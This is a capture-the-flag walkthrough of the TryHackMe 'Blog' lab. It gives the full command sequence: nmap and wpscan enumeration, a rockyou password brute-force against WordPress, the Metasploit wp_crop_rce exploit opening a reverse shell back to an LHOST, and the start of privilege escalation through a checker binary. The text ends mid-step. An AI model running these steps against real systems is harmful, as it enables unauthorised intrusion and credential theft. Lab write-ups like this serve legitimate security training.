TryHackMe Lab Write-up: Blog

Welcome to a detailed technical walkthrough of the popular TryHackMe lab, Blog. In this lab, we take you through a complete penetration testing lifecycle—starting from network reconnaissance and WordPress vulnerability enumeration, moving to gaining initial access via Metasploit, and finally leveraging a binary misconfiguration to escalate our privileges to root.

1. Information Gathering & Reconnaissance

We begin by performing an extensive port scan and service enumeration on the target IP using nmap:

nmap -sV -sC 10.66.164.5

The scan results reveal several open ports:

Port 22/tcp: OpenSSH service.
Port 80/tcp: Apache HTTP server running WordPress CMS (Version 5.0).
Port 139 / 445/tcp: Samba file sharing services.

After mapping the domain blog.thm to our /etc/hosts file and browsing the web application [Image 3], checking robots.txt [Image 4], and inspecting the login portal [Image 6], we run wpscan to enumerate WordPress-specific vulnerabilities, themes, and users:

wpscan --url http://blog.thm/ -e u

The scanner successfully extracts a list of valid users, including kwheel and bjoel. Next, we launch a password brute-force attack against the XML-RPC interface using the rockyou.txt wordlist:

wpscan --url http://blog.thm/ -U kwheel -P /usr/share/wordlists/rockyou.txt

The attack successfully yields valid credentials for the user kwheel:

Username: kwheel
Password: cutiepie1

2. Initial Access via Metasploit

With valid editorial/administrative credentials in hand, we launch msfconsole to exploit a known vulnerability using the appropriate Metasploit module (exploit/multi/http/wp_crop_rce):

msf6 > use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS 10.66.164.5
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 192.168.149.153
msf6 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > run

Following successful exploitation, a Meterpreter session is established, from which we drop into a standard system command shell (shell).

3. Privilege Escalation

To stabilize our shell environment and make it fully interactive, we spawn a pseudo-terminal using Python:

python3 -c 'import pty; pty.spawn("/bin/bash")'

We begin searching for privilege escalation vectors, checking binary permissions, and analyzing /usr/sbin/checker using ltrace:

ltrace /usr/sbin/checker

We notice that the binary checks for an environment variable named admin. To bypass this logic check, we export the variable and run the checker binary: